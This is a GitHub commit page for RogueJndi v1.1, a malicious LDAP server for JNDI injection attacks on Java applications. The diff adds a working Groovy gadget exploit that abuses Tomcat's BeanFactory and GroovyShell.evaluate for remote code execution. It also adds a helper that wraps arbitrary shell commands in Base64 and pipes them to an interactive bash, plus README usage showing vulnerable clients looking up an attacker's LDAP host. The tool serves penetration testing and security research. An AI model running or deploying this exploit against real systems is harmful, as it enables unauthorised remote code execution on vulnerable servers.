Skip to content

Commit

Permalink
v1.1: new Groovy gadget by Orange Tsai
Browse files Browse the repository at this point in the history
  • Loading branch information
artsploit committed Sep 14, 2020
1 parent 3f21394 commit ed2f0fe
Show file tree
Hide file tree
Showing 6 changed files with 84 additions and 4 deletions.
10 changes: 7 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ A malicious LDAP server for JNDI injection attacks.
The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.<br>
In order to perform an attack, you can start these servers locally and then trigger a JNDI resolution on the vulnerable client, e.g.:
```java
InitialContext.lookup("ldap://your_server.com:1389/o=reference");
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
```
It will initiate a connection from the vulnerable client to the local LDAP server.
Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution.
Expand All @@ -16,6 +16,7 @@ In addition to the known JNDI attack methods(via remote classloading in referenc
### Supported payloads
* [RemoteReference.java](/src/main/java/artsploit/controllers/RemoteReference.java) - classic JNDI attack, leads to RCE via remote classloading, works up to jdk8u191
* [Tomcat.java](/src/main/java/artsploit/controllers/Tomcat.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory**
* [Groovy.java](/src/main/java/artsploit/controllers/Groovy.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory** + **groovy.lang.GroovyShell**
* [WebSphere1.java](/src/main/java/artsploit/controllers/WebSphere1.java) - leads to OOB XXE in **com.ibm.ws.webservices.engine.client.ServiceFactory**
* [WebSphere2.java](/src/main/java/artsploit/controllers/WebSphere2.java) - leads to RCE via classpath manipulation in **com.ibm.ws.client.applicationclient.ClientJ2CCFFactory**

Expand Down Expand Up @@ -47,7 +48,7 @@ As an alternative to the "-c" option, you can modify the [ExportObject.java](/sr

### Example:
```
$ java -jar target/RogueJndi-1.0.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Expand All @@ -56,6 +57,7 @@ Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Expand All @@ -75,9 +77,11 @@ This software is provided solely for educational purposes and/or for testing sys
* [Alvaro Muñoz](https://twitter.com/pwntester) and [Oleksandr Mirosh](https://twitter.com/olekmirosh) for the excellent [whitepaper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) on JNDI attacks
* [@zerothoughts](https://github.com/zerothoughts) for the inspirational [spring-jndi](https://github.com/zerothoughts/spring-jndi) repository
* [Moritz Bechler](https://github.com/zerothoughts) for the eminent [marshallsec](https://github.com/mbechler/marshalsec) research
* [Orange Tsai](https://twitter.com/orange_8361) and [Welk1n](https://github.com/welk1n) for the Apache + Groovy gadget

### Links
* An article about [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) in the Veracode Blog
* [How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM](https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html)

### Authors
[Michael Stepankin](https://twitter.com/artsploit), Veracode Research
[Michael Stepankin](https://twitter.com/artsploit)
8 changes: 7 additions & 1 deletion pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@

<groupId>RogueJndi</groupId>
<artifactId>RogueJndi</artifactId>
<version>1.0</version>
<version>1.1</version>

<packaging>jar</packaging>

Expand Down Expand Up @@ -38,6 +38,12 @@
<version>0.9.12</version>
</dependency>

<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.5</version>
</dependency>

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
Expand Down
12 changes: 12 additions & 0 deletions src/main/java/artsploit/Utilities.java
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.ArrayList;
import java.util.Base64;

public class Utilities {

Expand Down Expand Up @@ -40,4 +41,15 @@ public static String getDnParam(String baseDN, String param) {
else
return baseDN.substring(startIndex, endIndex);
}

/**
* Encode bash command with Base64 to safely use within any script
* @param command
* @return
*/
public static String getBase64CommandTpl(String command) {
return "bash -c {echo," +
Base64.getEncoder().encodeToString(command.getBytes()) +
"}|{base64,-d}|{bash,-i}";
}
}
51 changes: 51 additions & 0 deletions src/main/java/artsploit/controllers/Groovy.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
package artsploit.controllers;

import artsploit.Config;
import artsploit.annotations.LdapMapping;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;

import static artsploit.Utilities.getBase64CommandTpl;
import static artsploit.Utilities.serialize;

/**
* Yields:
* RCE via arbitrary bean creation in {@link org.apache.naming.factory.BeanFactory}
* When bean is created on the server side, we can control its class name and setter methods,
* so we can leverage {@link groovy.lang.GroovyShell#evaluate} method to execute arbitrary Groovy script
*
* @see https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html for details
*
* Requires:
* Tomcat and Groovy in classpath
*
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
*/
@LdapMapping(uri = { "/o=groovy" })
public class Groovy implements LdapController {

String payload = "'${cmd}'.execute()".replace("${cmd}", getBase64CommandTpl(Config.command));

public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {

System.out.println("Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload");

Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any

//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
ref.add(new StringRefAddr("x",payload));

e.addAttribute("javaSerializedData", serialize(ref));

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
1 change: 1 addition & 0 deletions src/main/java/artsploit/controllers/Tomcat.java
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@
* @see https://www.veracode.com/blog/research/exploiting-jndi-injections-java for details
*
* Requires:
* Tomcat 8+ or SpringBoot 1.2.x+ in classpath
* - tomcat-embed-core.jar
* - tomcat-embed-el.jar
*
Expand Down
6 changes: 6 additions & 0 deletions src/test/java/RogueJndiTest.java
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@ public static void setup() throws Exception {
RogueJndi.main(new String[0]);
}

@Ignore
@Test
public void reference() throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
Expand All @@ -33,6 +34,11 @@ public void tomcat() throws Exception {
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=tomcat");
}

@Test
public void groovy() throws Exception {
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=groovy");
}

@Ignore
@Test
public void websphere1() throws Exception {
Expand Down

0 comments on commit ed2f0fe

Please sign in to comment.